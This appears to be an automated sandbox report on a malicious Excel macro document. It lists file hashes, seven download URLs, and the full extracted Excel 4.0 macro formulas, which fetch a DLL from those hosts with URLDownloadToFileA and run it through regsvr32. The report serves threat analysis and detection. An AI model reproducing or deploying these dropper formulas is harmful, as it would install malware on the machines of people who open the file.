General

  • Target

    bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe

  • Size

    32KB

  • MD5

    71e22e31c9e47ca22ea80518a81e5767

  • SHA1

    b767ffe76201d052627c9a1f3d9f712f17783c53

  • SHA256

    bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe

  • SHA512

    e62df2f1875982f115cd49e681f5f555138e5db1eee911b1dd3c9846ad272f8fbc9ede72ebbc063d60f141f465173e46a91809b1b9ba5cd9cfe5bba331b06ff9

  • SSDEEP

    768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe
    .xlsm office2007